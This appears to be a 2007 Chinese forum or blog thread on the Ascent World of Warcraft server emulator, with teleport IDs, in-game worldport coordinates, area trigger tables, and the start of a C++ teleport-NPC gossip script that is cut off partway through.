4457 1 The Phoenix Hall Out
4459 1 The Botanica Out
4461 1 The Mechanar Out
4467 1 The Botanica In
4468 1 The Arcatraz In
4469 1 The Mechanar In
4470 1 The Phoenix Hall In
4520 1 卡拉赞
4534 1 Gruul's Lair Out 戈鲁尔之巢 出口
4535 1 Gruul's Lair In
4598 1 Black Temple In 黑色神殿
4612 1 奥金顿
4614 1 风暴要塞
4619 1 Black Temple Out 黑色神殿 出口
5242 1 Mount Hyjal Entrance 海加尔山 入口
5243 1 Mount Hyjal Exit
12510 1 Teleport to Azshara Tower 艾萨拉
17334 1 Portal to Stormwind 暴风城
17607 1 Portal to Ironforge 铁炉堡
17608 1 Portal to Darnassus 达纳苏斯
17609 1 Portal to Orgrimmar 奥格瑞玛
17610 1 Portal to Thunder Bluff 雷霆崖
17611 1 Portal to Undercity 幽暗城
18960 1 Teleport to Moonglade 月光林地
18961 1 Frostwyrm Lair
18962 1 Frostwyrm Lair (exit)
26566 1 Translocation - SM to UC 幽暗城 - 银月城
26572 1 Translocation - UC to SM 银月城 - 幽暗城
26573 1 Orb of Translocation 火翼岗哨
26574 1 Orb of Translocation
28147 1 Portal to Karazhan
32268 1 Portal to Exodar
32270 1 Portal to Silvermoon
32271 1 Teleport: Exodar 埃索达
32272 1 Teleport: Silvermoon 银月城
32568 1 Translocator - Falcon Watch[up]
32569 1 Translocator - Falcon Watch[down] 猎鹰岗哨
32571 1 Translocation - Duskwither Spire
32572 1 Translocation - Duskwither Spire[d]
33690 1 Teleport Shattrath 沙塔斯城
33728 1 Portal Shattrath
35715 1 Teleport Shattrath
35718 1 Portal Shattrath
200000 1 Portal to Silvermoon City 银月城
200001 1 Portal to Undercity 幽暗城
200002 1 Duskwither Spire Teleporter
200003 1 Duskwither Spire Teleporter
re: ascent wow 聂文龙 2007-08-25 21:17
最全的世界副本传送坐标(副本外)
.worldport 0 -8653.45 606.19 91.16 0 暴风城地窑
.worldport 0 -11208.3 1672.52 24.66 4.56473 死亡矿井门口
.worldport 0 -232.796 1568.28 76.8909 4.2867 影牙城堡入口
.worldport 1 -742.015 -2217.08 15.9154 6.04521 哀嚎洞穴门口
.worldport 1 -4464.47 -1666.09 81.8941 2.2223 剃刀沼泽门口
.worldport 1 4247.74 745.879 -24.2967 4.36996 黑暗深渊门口
.worldport 0 -6066.73 -2955.63 209.776 3.10311 奥达曼门口
.worldport 0 -5163.33 927.623 257.188 4.61186 诺莫瑞根门口
.worldport 1 -4658.12 -2526.35 82.9671 1.44906 剃刀高地门口
.worldport 0 -10174.9 -3995.35 -112.905 2.89419 阿塔哈卡神庙门口
.worldport 0 -8764.83 846.075 87.4842 3.83589 暴风城监狱门口
.worldport 0 2914.51 -802.15 160.33 3.55099 血色修道院西(墓地)门口
.worldport 0 2914.55 -823.799 160.324 3.5 血色修道院西(大教堂)门口
.worldport 0 2884.76 -836.54 160.32 0.41 血色修道院东(军械库)门口
.worldport 0 2868.42 -821.28 160.33 0.36 血色修道院东(图书馆)门口
.worldport 1 -6796.49 -2890.77 8.88063 3.14159 祖尔法拉克门口
.worldport 1 -4752.33 -3754.02 48.5 0.4 奥妮克希亚的巢穴门口
.worldport 0 -7524.58 -1229.81 285.733 2.06403 黑石塔-熔岩之桥
.worldport 0 -7179.63 -923.667 166.416 1.71845 黑石深渊门口
.worldport 0 3234.47 -4050.07 108.449 2.01062 斯坦索姆门口
.worldport 1 1814.85 -4418.74 -18.6934 1.93619 怒焰裂谷门口
.worldport 1 1633.81 -4249.41 54.8885 0 勇者大厅入口
.worldport 0 -8761.8 402.035 103.903 0 勇士大厅入口
.worldport 0 1275.74 -2552.37 89.5186 3.53429 通灵学院门口
.worldport 0 538.594 -1084.79 106.396 0 奥特兰克山谷-部落入口
.worldport 0 99.9484 -182.951 127.473 0 奥特兰克山谷-联盟入口
.worldport 1 -1471.07 2618.57 76.2835 0 玛拉顿门口
.worldport 1 -3747.96 1249.18 160.217 3.19186 厄运之槌西门口
.worldport 1 -3520.65 1077.72 161.138 0 厄运之槌北门口
.worldport 1 -3737.48 934.975 160.973 3.14473 厄运之槌东门口
.worldport 1 -3577.67 841.859 134.594 0 厄运之槌东D门口-菲拉斯
.worldport 1 1034.89 -2099.88 122.945 0 战歌峡谷(部落入口)-贫瘠之地
.worldport 1 1435.33 -1856.02 133.546 0 战歌峡谷(联盟入口)-灰谷
.worldport 0 -11916.2 -1208.7 92.2875 1.57787 祖尔格拉布门口
.worldport 0 -821.704 -3511.94 73.009 0 污染者之穴入口
.worldport 1 -8418.5 1505.94 31.8232 0 安其拉废墟门口
.worldport 0 3132.73 -3731.28 138.65 5.86 纳克萨玛斯入口
.worldport 0 -11897.1 -3207.33 -14.6806 0.091112 黑暗之门入口
.worldport 530 3365.84 1519.15 180 2.495 生态船入口
.worldport 530 816.87 6935.02 -80.5606 0.47 蒸汽地窟入口
.worldport 530 -3649.89 317.177 35.3295 0 黑暗神庙入口
.worldport 530 -313.679 3088.35 -116.502 2.05307 玛瑟里顿的巢穴入口
.worldport 530 -363.5 3078.99 -15.0025 4.95 地狱火城墙入口
.worldport 530 -3645.06 4943.62 -101.048 6.27058 暗影迷宫入口
.worldport 530 -3362.22 4660.41 -101.049 1.62101 塞泰克大厅入口
.worldport 530 -3079.81 4943.04 -101.047 3.16432 法力陵墓入口
.worldport 530 -3361.96 5225.77 -101.048 4.76654 奥金尼地穴入口
.worldport 530 827.011 6865.47 -63.7844 3.06507 毒蛇神殿入口
.worldport 0 -11112.9 -2005.89 49.3307 4.02516 卡拉赞入口
.worldport 530 3312.09 1331.89 505.559 2.00554 禁魔监狱入口
.worldport 530 3087.31 1373.79 184.643 1.52918 凤凰大厅入口
.worldport 530 3549.8 5085.97 2.46332 2.25742 格鲁尔的巢穴入口
.worldport 530 2863.4 1546.88 252.2 0.68 能源舰入口
.worldport 530 777.089 6763.45 -72.0662 2.72453 幽暗沼泽入口
.worldport 530 719.508 6999.34 -73.0743 4.52702 奴隶围栏入口
.worldport 1 -8339.69 -4059.5 -207.893 3.51 逃离敦霍尔德入口
.worldport 530 -303.74 3165.1 31.7404 5.3 鲜血熔炉入口
.worldport 530 -310.693 3085.39 -3.81 4.7 破碎大厅入口
.worldport 1 -8765.66 -4175 -209.863 5.53463 黑色沼泽入口
.worldport 0 -10429.4 -3828.84 -31.6296 0 阿塔哈卡神庙入口
.worldport 0 -8932.78 -1986.4 139.905 0 剃刀沼泽
.worldport 0 -5096.76 750.205 260.55 0 诺莫瑞根 - 发条小径入口
.worldport 1 16299.2 16277.3 20 0 程序员岛
.worldport 0 -7510.16 -1038.78 179.208 0 MC传送NPC
.worldport 0 -7663.58 -1218.36 287.788 0 黑石山-命令宝珠
.worldport 1 -8242.67 1992.06 129.072 0 安其拉神殿门口
re: ascent wow 聂文龙 2007-08-25 21:16
Antrix 副本传送的门外坐标
暴风城监狱 map:0 xyz:-8769.402344 842.341370 89.705185
怒焰裂谷 map:1 xyz:1809.871704 -4408.517090 -19.038074
玛拉顿-黑暗深渊 map:1 xyz:4067.590820 819.406921 2.715558
死亡矿井 map:0 xyz:-10992.258789 1415.872070 43.066532
哀号洞穴 map:1 xyz:-844.613708 -2035.882690 80.483643
诺莫瑞根 map:0 xyz:-5184.810547 496.903839 387.942444
剃刀高地|剃刀沼泽 map:1 xyz:-4385.027832 -1887.642212 86.951767
影牙城堡 map:0 xyz:-243.071945 1541.925415 76.892197
苦痛堡垒-奥达曼 map:0 xyz:-6457.229980 -3214.989746 255.273727
祖尔法拉克 map:1 xyz:-6883.459961 -2920.590576 22.968258
血色修道院 map:0 xyz:2668.859375 -670.5822 111.933655
阿塔哈卡神庙 map:0 xyz:-10478.074219 -3817.510498 28.917713
厄运之锤 map:1 xyz:-4653.371582 1332.205078 96.090134
通灵学院 map:0 xyz:1236.602783 -2596.331055 90.081955
祖尔格拉布 map:0 xyz:-11917.680664 -833.282837 29.299950
奥妮克希亚的巢穴-黑龙MM map:1 xyz:-4715.509766 -3732.644287 54.071953
斯坦索姆 map:0 xyz:3392.094482 -3422.225098 142.273315
纳克萨玛斯 map:0 xyz:3126.997559 -3741.982422 138.650467
黑翼之巢|黑石深渊|黑石塔|熔火之心 map:0 xyz:-7808.324707 -1134.724854 214.848236
安其拉神庙|安其拉废墟 map:1 xyz:-8055.652344 1515.411499 2.574698
re: ascent wow 聂文龙 2007-08-25 21:15
2610 灰谷 - 碎木岗哨 Splintertree Post - Ashenvale
717 灰谷 - 阿斯特兰纳 Ashenvale - Astrannar
239 灰谷 - 佐拉姆海岸 Ashenvale - Zoram Strand
2926 灰谷 - 密斯特拉湖 Mystral Lake - Ashenvale
175 湿地 - 丹奥加兹 Wetlands - Dun Algaz
802 湿地 - 米奈希尔港 Menethil Harbor - Wetlands
803 湿地 - 米奈希尔港 Menethil Harbor - Wetlands
713 湿地 - 米奈希尔港 - 深水旅店 Wetlands - Deepwater Tavern
2786 暴风城(入口) Stormwind City - Gates
1125 暴风城 - 光明大教堂 Cathedral of Light - Stormwind
2173 暴风城 - 矮人区 Deeprun Tram - Stormwind Istance
2171 暴风城 - 矿道地铁 Deeprun Tram - Stormwind Istance(inside)
2746 暴风城 - 贸易区 Trade District - Sw City
2532 暴风城 - 旧城区 Stormwind - Near Old Town
284 暴风城 - 旧城区 Stormwind - Old City(Near Stonefist)
382 暴风城 - 旧城区 Stormwind - Old City(Near Stonefist)
2534 暴风城 - 旧城区 - 勇士大厅 Stormwind(inside) - Near Old Town
702 暴风城 - 法师区 - 巫师圣殿 Stormwind - Wizard Sanctum Room
704 暴风城 - 法师区 - 巫师圣殿 Stormwind - Wizard Sanctum Tower Portal
101 暴风城 - 法师区 Stormwind Stockades Entrance
107 暴风城 - 监狱(入口) Stormwind Vault Entrance
109 监狱 - 暴风城地窖 Stormwind Vault Istance
503 监狱 - 暴风城监狱 Stockades - Istance
722 莫高雷 - 血蹄村 Bloodhoff Village - Mulgore
2175 铁炉堡 - 侏儒区 Deeprun Tram - Ironforge Istance
2166 铁炉堡 - 矿道地铁 Deeprun Tram - Ironforge Istance(inside)
1205 辛特兰 - 祖尔祭坛 Altar of Zul - Hinterlands
1042 辛特兰 - 蛮锤城堡 Wildhammer Keep - Hinterlands
1024 菲拉斯 - 羽月要塞 Feathermoon Stronghold - Feralas
1025 菲拉斯 - 莫沙彻营地 Camp Mojache - Feralas
1387 艾萨拉 - 破碎海岸 The Shattered Strand - Azshara
1388 艾萨拉 - 萨拉斯营地 Talassian Base Camp - Azshara
2287 冬泉谷 - 永望镇 Everlook - Winterspring
2211 冬泉谷 - 麦索瑞尔 Mazthoril - Winterspring
2213 冬泉谷 - 麦索瑞尔 Mazthoril - Winterspring
2327 冬泉谷 - 暗(霜)语峡谷 Darkwhisper Gorge - Winterspring
1103 荆棘谷 - 藏宝海湾 Booty Bay - Stranglethorn
862 荆棘谷 - 藏宝海湾 Booty Bay - Stranglethorn Vale
196 荆棘谷 - 野人海岸 Stranglethorn Vale - Vile Reef
98 荆棘谷 - 奈辛瓦里远征队营地 Stranglethorn Vale - Hunters Camp
97 丹莫罗 - 霜鬓巨魔要塞 Dun Morogh - Frostmane Hold
168 丹莫罗 - 霜鬓巨魔要塞 Dun Morogh - Frostmane Hold
169 丹莫罗 - 霜鬓巨魔要塞 Dun Morogh - Frostmane Hold
710 丹莫罗 - 卡拉诺斯 - 雷酒酿制厂 Dun Morogh - Thunderbrew Distillery
324 丹莫罗 - 诺莫瑞根(入口) Gnomeregan Entrance
1104 丹莫罗 - 诺莫瑞根 - 地铁站(入口) Gnomeregan - Dun Morogh Entrance
523 丹莫罗 - 诺莫瑞根 - 地铁站(入口) Gnomeregan Train Depot Entrance
322 诺莫瑞根 Gnomeregan Istance Start
525 诺莫瑞根 Gnomeregan Train Fepot Istance
1105 诺莫瑞根 - 发条小径 Gnomeregan - Dun Morogh Istance
1906 黑海岸 Darkshore
2486 黑海岸 Darkshore
232 黑海岸(在地图外) Darkshore(Coordinate Z Out of Map)
716 黑海岸 - 奥伯丁 Darkshore - Auberdine
230 黑海岸 - 巴莎兰 Darkshore - Bashal'aran
238 黑海岸 - 壁泉河 Darkshore - Twilight Vale
233 黑海岸 - 暮光谷 Darkshore - Twilight Vale
235 黑海岸 - 暮光谷 Darkshore - Twilight Vale
236 黑海岸 - 暮光谷 Darkshore - Twilight Vale
237 黑海岸 - 暮光谷 Darkshore - Twilight Vale
1966 黑海岸 - 暮光海岸 Darkshore - Twilight Shore
231 黑海岸 - 长桥码头 Darkshore
234 黑海岸 - 黑木洞穴 Darkshore - Blackwood Den
223 黑海岸 - 主宰之剑 Darkshore - Master Glaive
224 黑海岸 - 主宰之剑 Darkshore - Master Glaive
225 黑海岸 - 主宰之剑 Darkshore - Master Glaive
1629 黑色沼泽 The Black Morass - Istance(inside)
527 达纳苏斯 Teddrassil - Ruth Theran
71 西部荒野 - 哨兵岭 Westfall - Sentinel Hill Inn
843 杜隆塔尔 - 剃刀岭 RazorHill - Durotar
1506 燃烧平原 - 巨槌石 Dredmaul Rock - Burning Steppes
707 暮色森林 - 夜色镇 - 血鸦旅店 Duskwood - Darkshire Scarlet Raven Inn
1022 石爪山脉 - 烈日石居 Sun Rock Retrait - Stonetalon
2946 石爪山脉 - 滚岩洞穴 Boulderside Ravine - Stonetalon Mountains
171 洛克莫丹 - 洛克湖 Loch Modan(Coordinate Z Out of Map)
712 洛克莫丹 - 塞尔萨玛 - 烈酒旅店 Thelsamar - Stoutlager Inn
2267 凄凉之地 - 葬影村 Shadowprey Village - Desolace
422 凄凉之地 - 塔迪萨兰 Desolace
2266 凄凉之地 - 尼耶尔前哨站 Nijel's Point - Desolace
257 黑暗深渊(入口) Blackphantom Deeps Entrance
259 黑暗深渊 Blackphantom Deeps Instance Start
283 黑暗深渊 - 阿斯卡血池 Blackphantom Deeps - The pool of ask'ar
762 黑暗深渊 - 阿库麦尔的巢穴 Blackphantom Deeps Akumais lair
2427 黑翼之巢 Blackwing Lair
2428 黑翼之巢 Blackwing Lair
2429 黑翼之巢(死坑) Blackwing Lair
2766 黑翼之巢 - 龙喉兵营 Dragonmaw Garrison - Blackwing Lair
2767 黑翼之巢 - 龙喉兵营 Dragonmaw Garrison - Blackwing Lair
1472 黑石深渊 Blackrock Dephts - Searing Gorge Istance
1590 黑石深渊 - 禁闭室 Blackrock Dephts - Searing Gorge Istance
1686 黑石深渊 - 禁闭室 Blackrock Dephts - Searing Gorge Istance(inside)
1746 黑石深渊 - 禁闭室 Blackrock Dephts - Searing Gorge Istance(inside)
1826 黑石深渊 - 禁闭室 Blackrock Dephts - Searing Gorge Istance(inside)
1828 黑石深渊 - 禁闭室 Blackrock Dephts - Searing Gorge Istance(inside)
1786 黑石深渊 - 暗炉城 Blackrock Dephts - Searing Gorge Istance(inside)
1827 黑石深渊 - 讲学厅 Blackrock Dephts - Searing Gorge Istance(inside)
1926 黑石深渊 - 黑色宝库 Blackrock Dephts - Searing Gorge Istance(inside)
1526 黑石深渊 - 秩序竞技场 Blackrock Dephts - Searing Gorge Istance
2886 黑石深渊 - 熔火之桥 The Molten Bridge
2890 熔火之心 - 熔火之核 The Molten Core
1466 灼热峡谷 - 黑石山 Blackrock Mountain - Searing Gorge Istance
1468 黑石山 - 黑石塔 Blackrock Spire - Searing Gorge Istance(inside)
1470 黑石塔 - 黑手大厅 Blackrock Spire - Searing Gorge Istance
2046 黑石塔 - 黑手大厅 Hall of Blackhand - Searing Gorge Istance(inside)
2068 黑石塔 - 黑手大厅 Hall of Blackhand - Searing Gorge Istance(inside)
1628 黑手大厅 - 霍德玛尔城 Hall of Blackhand - Searing Gorge Istance(inside)
1946 黑手大厅 - 霍德玛尔城 Hall of Blackhand - Searing Gorge Istance(inside)
1986 黑手大厅 - 霍德玛尔城 Hall of Blackhand - Searing Gorge Istance(inside)
1987 黑手大厅 - 霍德玛尔城 Hall of Blackhand - Searing Gorge Istance(inside)
2026 黑手大厅 - 黑石竞技场 Hall of Blackhand - Searing Gorge Istance(inside)
2066 黑手大厅 - 熔炉 Hall of Blackhand - Searing Gorge Istance(inside)
2067 黑手大厅 - 熔炉 Hall of Blackhand - Searing Gorge Istance(inside)
2387 悲伤沼泽 Swamp of Sorrow
844 悲伤沼泽 - 斯通纳德 Stonard - Swamp of Sorrows
446 悲伤沼泽 - 阿塔哈卡神庙(入口) Altar of Atal'Hakkar Entrance
362 悲伤沼泽 - 阿塔哈卡神庙(在地图外) The Temple of Atal'Hakkar(Coordinate Z Out of Map)
448 阿塔哈卡神庙 Altar of Atal'Hakkar Instance start
1306 阿塔哈卡神庙 - 牺牲之池 The Temple of Atal'Hakkar - Un'goro Crater Istance
1326 阿塔哈卡神庙 - 抛弃之池 The Temple of Atal'Hakkar - Un'goro Crater Istance
1023 塔纳利斯 - 加基森 Gadgetzan - Tanaris
1631 塔纳利斯 - 时光之穴 Cavern of Tanaris Istance(inside)
1632 塔纳利斯 - 时光之穴 Cavern of Tanaris Istance(inside)
924 塔纳利斯 - 祖尔法拉克(入口) Zul'Farrak Entrance
1447 祖尔法拉克 Zul'Farrak - Tanaris Istance(inside)
962 祖尔法拉克 Zul'Farrak Istance(inside)
922 祖尔法拉克 Zul'Farrak Istance Start
303 尘泥沼泽(在地图外) Dustwallow Marsh - Den of Flame(Coordinate Z Out of Map)
1667 尘泥沼泽 - 警戒哨岗 Sentry Point - Dustwallow Marsh
302 尘泥沼泽 - 警戒哨岗 Dustwallow Marsh - Sentry Point
709 尘泥沼泽 - 塞拉摩岛 Theramore Isle
2848 尘泥沼泽 - 奥妮克希亚的巢穴(入口) Onyxia's Lair - Entrance
1064 奥妮克希亚的巢穴 Onyxia's Lair - Dustwallow Istance
942 千针石林 Thousand Needles
943 千针石林 Thousand Needles
944 千针石林 Thousand Needles
246 千针石林 Freewind Post - Thousand Needles
2286 千针石林 - 乱风岗 Freewind Post - Thousand Needles
2230 奥格瑞玛 Ragefire Chasm - Ogrimmar Istance
2226 奥格瑞玛 - 怒焰裂谷 Ragefire Chasm - Ogrimmar Istance(inside)
2527 奥格瑞玛 - 勇者大厅 Hall of The Brave - Ogrimmar
2530 传说大厅 - 勇者大厅 Hall of The Brave - Ogrimmar(inside)
1606 荒芜之地 - 卡加斯 Kargath - Badlands
902 荒芜之地 - 奥达曼 Uldaman Exit
882 奥达曼 Uldaman Istance End
822 奥达曼 Uldaman Istance Map Chamber
286 奥达曼 - 守护者大厅(入口) Uldaman Entrance
288 奥达曼 - 一号挖掘场 Uldaman Istance Start
522 贫瘠之地 - 勇士岛 Fray Island
743 贫瘠之地 - 棘齿城 Ratchet - The Barrens
742 贫瘠之地 - 十字路口 Crossroads - The Barrens
216 贫瘠之地 - 遗忘之池 The Barrens - Forgotten Pools
228 贫瘠之地 - 迷雾洞穴 The Barrens - Wailing Caverns
226 迷雾洞穴 - 哀嚎洞穴 The Barrens - Wailing Caverns
982 贫瘠之地 - 陶拉祖营地 The Barrens - Camp Taurajo
442 贫瘠之地 - 剃刀高地(入口) Razorfen Downs Entrance
444 剃刀高地 Razorfen Downs Istance Start
244 贫瘠之地 - 剃刀沼泽(入口) Razorfen Kraul Entrance
262 剃刀沼泽 Razorfen Kraul
462 剃刀沼泽 Razorfen Kraul
463 剃刀沼泽 Razorfen Kraul
242 剃刀沼泽 Razorfen Kraul Istance Start
482 赤脊山 - 剃刀沼泽 Razorfen Kraul
682 赤脊山 - 湖畔镇 - 湖畔镇旅店 Redrige Mountains - Lakeshire Inn
542 泰达希尔 - 鲁瑟兰村 Teddrassil - Darnassus
715 泰达希尔 - 多兰纳尔 Teddrassil - Donalaar
220 泰达希尔 - 神谕林地 Teddrassil - Oracle Glade
219 泰达希尔 - 阿里斯瑞恩之池 Teddrassil - Pools of Arlithrien
217 泰达希尔 - 幽影谷 Teddrassil - Shadowglen
218 泰达希尔 - 星风村 Teddrassil - Star Breeze Village
1426 诅咒之地 Blasted Lands
1427 诅咒之地 - 污染者高地 Rise of Defiler - Blasted Lands
1428 诅咒之地 - 污染者高地 Rise of Defiler - Blasted Lands
1429 诅咒之地 - 污染者高地 Rise of Defiler - Blasted Lands
1446 诅咒之地 - 污染者高地 Rise of Defiler - Blasted Lands
173 银松森林 - 亡者农场(在地图外) Silverpine Forest - Dead Field(Coordinate Z Out of Map)
720 银松森林 - 瑟伯切尔 Sepulcher - Silverpine Forest(Coordinate Z Out of Map)
145 银松森林 - 影牙城堡(入口) Shadowfang Keep Entrance
194 影牙城堡(入口) Shadowfang Keep - Entrance
2406 影牙城堡 Shadowfang Keep - Silverpine Istance
2407 影牙城堡 Shadowfang Keep - Silverpine Istance
2408 影牙城堡 Shadowfang Keep - Silverpine Istance
2409 影牙城堡 Shadowfang Keep - Silverpine Istance
254 影牙城堡 Shadowfang Keep Istance(On a Castle Wall)
255 影牙城堡 Shadowfang Keep Istance(On a Castle Wall)
256 影牙城堡 Shadowfang Keep Istance(On a Castle Wall)
2410 影牙城堡(在地图外) Shadowfang Keep - Silverpine Istance
562 艾尔文森林 - 闪金镇 - 狮王之傲旅店 Elwinn Forest - Goldshire Lion's Pride Inn
88 艾尔文森林 - 法戈第矿洞 Elwinn Forest - Fargodeep Mine
197 艾尔文森林 - 法戈第矿洞 Elwinn Forest - Fargodeep Mine
87 艾尔文森林 - 玉石矿洞 Elwinn Forest - Jasperlode Mine
342 艾尔文森林 - 玉石矿洞 Elwinn Forest - Jasperlode Mine
78 迪蒙特荒野 - 死亡矿井(入口) Deadmines Entrance
121 死亡矿井 Deadmines Istance End
119 无尽之海 - 死亡矿井 Deadmines Istance Start
1646 阿拉希高地 - 落锤镇 Hammerfall - Arathi Highlands
2206 费伍德森林 - 碎痕谷 Shatter Scar Vale - Felwood
2207 费伍德森林 - 碎痕谷 Shatter Scar Vale - Felwood
2208 费伍德森林 - 碎痕谷 Shatter Scar Vale - Felwood
2214 东瘟疫之地 Stratholme - Eastern Plaguelands Istance
2706 东瘟疫之地 - 恶蛛隧道 Eastern Plaguelands - Terror Web Tunnel
2707 东瘟疫之地 - 恶蛛隧道 Eastern Plaguelands - Terror Web Tunnel
2216 东瘟疫之地 - 斯坦索姆 Stratholme - Eastern Plaguelands Istance
2217 东瘟疫之地 - 斯坦索姆 Stratholme - Eastern Plaguelands Istance
2221 斯坦索姆 Stratholme - Eastern Plaguelands Istance(inside)
2726 东瘟疫之地 - 玛瑞斯家场 Eastern Plaguelands - Marris Stead
2629 西瘟疫之地 - 壁炉谷 Western Plaguelands - Dalson's Tears
2248 西瘟疫之地 - 达尔松之泪 Dalson's Tears - Western Plaguelands
2630 西瘟疫之地 - 达尔松之泪 Western Plaguelands - Dalson's Tears
2631 西瘟疫之地 - 达尔松之泪 Western Plaguelands - Dalson's Tears
2246 西瘟疫之地 - 费尔斯通农场 Felstone Field - Western Plaguelands
2626 西瘟疫之地 - 费尔斯通农场 Western Plaguelands - Felstone Field
2627 西瘟疫之地 - 费尔斯通农场 Western Plaguelands - Felstone Field
2628 西瘟疫之地 - 费尔斯通农场 Western Plaguelands - Felstone Field
2647 西瘟疫之地 - 费尔斯通农场 Western Plaguelands - Felstone Field
2252 西瘟疫之地 - 盖罗恩农场 Gahroron's Withering - Western Plaguelands
2635 西瘟疫之地 - 盖罗恩农场 Western Plaguelands - Gahrron's Withering
2636 西瘟疫之地 - 盖罗恩农场 Western Plaguelands - Gahrron's Withering
2637 西瘟疫之地 - 盖罗恩农场 Western Plaguelands - Gahrron's Withering
2250 西瘟疫之地 - 嚎哭鬼屋 The Writhing Haunt - Western Plaguelands
2632 西瘟疫之地 - 嚎哭鬼屋 Western Plaguelands - The Writhing Haunt
2633 西瘟疫之地 - 嚎哭鬼屋 Western Plaguelands - The Writhing Haunt
2634 西瘟疫之地 - 嚎哭鬼屋 Western Plaguelands - The Writhing Haunt
2567 西瘟疫之地 - 凯尔达隆 - 通灵学院(入口) Scholomance - Entrance
2549 通灵学院 Scholomance Exit
2568 通灵学院 Scholomance Istance
2547 通灵学院 Scholomance - Western Plaguelands Istance
2548 通灵学院 Scholomance - Western Plaguelands istance
2209 十字军广场 Stratholme - Eastern Plaguelands Istance(inside)
2210 十字军广场 Stratholme - Eastern Plaguelands Istance(inside)
178 奥特兰克山脉 - 斯坦恩布莱德 Strahnbrad - Alterac Mountains
2412 奥特兰克山脉 - 奥特兰克山谷 Alterac Valley - Alterac Istance PVP
2413 奥特兰克山脉 - 奥特兰克山谷 Alterac Valley - Alterac Istance PVP
2606 奥特兰克山谷(入口) Alterac Valley Entrance
95 奥特兰克山谷(在地图外) Alterac Mountains(Coordinate Z Out of Map)
2608 奥特兰克山谷 Alterac Valley Istance
610 提瑞斯法林地 - 血色修道院(入口) Scarlet Monastery Mini West Entrance
612 提瑞斯法林地 - 血色修道院(入口) Scarlet Monastery Mini East Entrance
614 提瑞斯法林地 - 血色修道院(入口) Scarlet Monastery Big East Entrance
45 提瑞斯法林地 - 血色修道院 Scarlet Monastery Big East Entrance Istance
608 血色修道院 Scarlet Monastery Big East Instance Start
602 血色修道院 Scarlet Monastery Big West Istance
606 血色修道院 Scarlet Monastery Mini East Instance Start
604 血色修道院 Scarlet Monastery Mini West Instance Start
1739 安戈洛环形山 Un'goro Crater
1726 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1727 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1728 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1729 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1730 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1731 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1732 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1733 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1734 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1735 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1736 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1737 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1738 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1740 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
1766 安戈洛环形山 - 沼泽地 The Marshlands - Un'goro Crater
719 提瑞斯法林地 - 布瑞尔 - 恐惧之木旅店 Tirisfal Glades - Brill Gallows End Tavern
100 提瑞斯法林地 - 夜行蜘蛛洞穴 Tirisfal Glades - Deathknell Night Web Hollow
2187 阿隆索斯礼拜堂 Stratholme - Eastern Plaguelands Istance(inside)
708 希尔斯面莱德丘陵 - 南海镇 Southshore - Hillsbrad Foothill Inn
721 希尔斯布莱德丘陵 - 塔伦米尔 Tarren Mills - Hillsbrad Footshil
2416 Programmer Isle Programmer Isle
1626 Old Hillsbrad Foothills Old Hillsbrad Foothills - Istance
re: ascent wow 聂文龙 2007-08-25 16:39
ascent 传送
//-----------------QQ:55580780----------------------
#include "StdAfx.h"
#include "Setup.h"
class SCRIPT_DECL TeleportNPC : public GossipScript
{
public:
ADD_GOSSIP_FACTORY_FUNCTION(TeleportNPC);
void GossipHello(Creature * pCreature, Player * Plr, bool AutoSend)
{
GossipMenu *Menu;
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " 把这里设置成回城点 ", 98);
if (Plr->GetTeam() > 0)
{ Menu->AddItem(0, " 部落主城传送 ", 1); }
else
{ Menu->AddItem(0, " 联盟主城传送 ", 2); }
Menu->AddItem(0, " 外域传送 ", 3);
Menu->AddItem(0, " 主城传送 ",100);//100 开我加的
Menu->AddItem(0, " 初级副本传送 ",101);
Menu->AddItem(0, " 中级副本传送 ",102);
Menu->AddItem(0, " 团队副本传送 ",103);
Menu->AddItem(0, " 外域副本传送1 ",104);
Menu->AddItem(0, " 外域副本传送2 ", 105);
Menu->AddItem(0, " 个人银行 ", 106);
Menu->AddItem(0, " 开通飞行点 ", 107);
Menu->AddItem(0, " 领取工资 ", 108);
Menu->AddItem(0, " 外域传送 ", 109);
Menu->AddItem(0, " 野外BOSS传送 ", 110);
if(AutoSend)
Menu->SendTo(Plr);
}
void GossipSelectOption(Creature* pCreature, Player* Plr, uint32 Id, uint32 IntId)
{
GossipMenu * Menu;
switch(IntId)
{
case 0: // Return to start
GossipHello(pCreature, Plr, true);
break;
case 98: // BINDER
Plr->GetSession()->SendInnkeeperBind(pCreature);
break;
case 1: // Horde
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " 部落 银月城 ", 4);
Menu->AddItem(5, " 部落 奥格瑞玛 ", 5);
Menu->AddItem(5, " 部落 雷霆崖 ", 6);
Menu->AddItem(5, " 部落 幽暗城 ", 7);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
break;
case 2: // Alliance
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " 联盟 埃索达 ", 8);
Menu->AddItem(5, " 联盟 暴风城 ", 9);
Menu->AddItem(5, " 联盟 铁炉堡 ", 10);
Menu->AddItem(5, " 联盟 达纳苏斯 ", 11);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
break;
case 3: // Outland
if(Plr->getLevel() < 60)
{
pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL," 你还没有资格进入(等级限制60). ");
Plr->Gossip_Complete();
}else{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " 黑暗之门 ", 12);
Menu->AddItem(5, " 赞加沼泽 ", 13);
Menu->AddItem(5, " 纳格兰 ", 14);
